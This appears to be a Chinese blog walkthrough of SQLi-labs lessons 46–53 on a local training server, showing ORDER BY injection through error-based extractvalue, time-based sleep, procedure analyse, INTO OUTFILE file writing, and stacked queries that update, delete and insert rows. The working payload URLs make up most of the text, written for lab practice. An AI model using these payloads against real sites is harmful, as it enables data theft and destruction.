less-46-47-48-49-50-51-52-53

LESS-46在這裏插入圖片描述
1、order by的原理爲排序,所以通過sort+asc或desc的輸出是否相同便可知是否有使用到排序(ASC 代表結果會以由小往大的順序列出,而 DESC 代表結果會以由大往小的順序列出。如果兩者皆沒有被寫出的話,那我們就會用 ASC。)

輸入?Sort=1 desc在這裏插入圖片描述
輸入:?Sort=1 asc在這裏插入圖片描述
兩者不同說明這裏使用了order by在這裏插入圖片描述
1、報錯注入
輸入:http://127.0.0.1/sqlilabs/Less-46/?sort=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’ ),0x7e))–+在這裏插入圖片描述
2、延時注入:http://127.0.0.1/sqlilabs/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=115,1,sleep(5))–+在這裏插入圖片描述
(2)利用 procedure analyse 進行注入
procedure analyse 參數後注入,利用 procedure analyse 參數,我們可以執行報錯注入。同時,在 procedure analyse 和 order by 之間可以存在 limit 參數,在這裏插入圖片描述
輸入:http://127.0.0.1/sqlilabs/Less-46/?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)在這裏插入圖片描述
(3)輸出導入導出
http://127.0.0.1/sqlilabs/Less-46/?sort=1 into outfile “c://phpStudy//PHPTutorial//www//sqlilabs//Less-46//bb.txt”%23在這裏插入圖片描述在這裏插入圖片描述
Less-47

與上一題不同的是sql語句中有單引號閉合。
(1)報錯注入
輸入:http://127.0.0.1/sqlilabs/Less-47/?sort=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))–+在這裏插入圖片描述(2)延時注入
輸入:http://127.0.0.1/sqlilabs/Less-47/?sort=1’ and if(ascii(substr(database(),1,1)) =115,0,sleep(5))–+在這裏插入圖片描述
(3)procedure analyse輸入:http://127.0.0.1/sqlilabs/Less-47/?sort=1’ %20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)–+在這裏插入圖片描述
LESS-48
本關與LESS-46相似但是沒有報錯輸出,故不能用報錯注入,其他相同,不詳寫
在這裏插入圖片描述
(1)延時注入
http://127.0.0.1/sqlilabs/Less-48/?sort=1 and if(ascii(substr(database(),1,1))=115,0,sleep(5))–+在這裏插入圖片描述
LESS-49
本題與47題相似但是沒有報錯注入,不詳寫在這裏插入圖片描述LESS-50
在這裏插入圖片描述
執行 sql 語句我們這裏使用的是 mysqli_multi_query()函數,而之前我們使用的是 mysqli _query(),區別在於 mysqli_multi_query()可以執行多個 sql 語句,而 mysqli_query()只能執行一個 sql 語句,那麼我們此處就可以執行多個 sql 語句進行注入,也就是我們之前提到的 statcked injection。 (可參考38題解釋)

(1)輸入:http://127.0.0.1/sqlilabs/Less-50/?sort=1 ; update food set username=‘world’ where id=2 --+在這裏插入圖片描述在這裏插入圖片描述Less-51
在這裏插入圖片描述
與上一題的區別爲這裏爲單引號閉合
輸入:http://127.0.0.1/sqlilabs/Less-51/?sort=1’ ; delete from food where id=‘3’–+在這裏插入圖片描述在這裏插入圖片描述LESS-52在這裏插入圖片描述
此處與less-50的區別爲,這裏沒有報錯輸出
輸入:http://127.0.0.1/sqlilabs/Less-52/?sort=1 ; insert into food(id,price,username) values (3,40,‘feel’)–+在這裏插入圖片描述Less-53
這裏和51題的區別爲,雖都爲單引號閉合但是此處沒有報錯輸出;在這裏插入圖片描述
Less-53
這裏和51題的區別爲,雖都爲單引號閉合但是此處沒有報錯輸出;在這裏插入圖片描述
輸入:http://127.0.0.1/sqlilabs/Less-53/?sort=1’ ; create table hello like users; 在這裏插入圖片描述在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章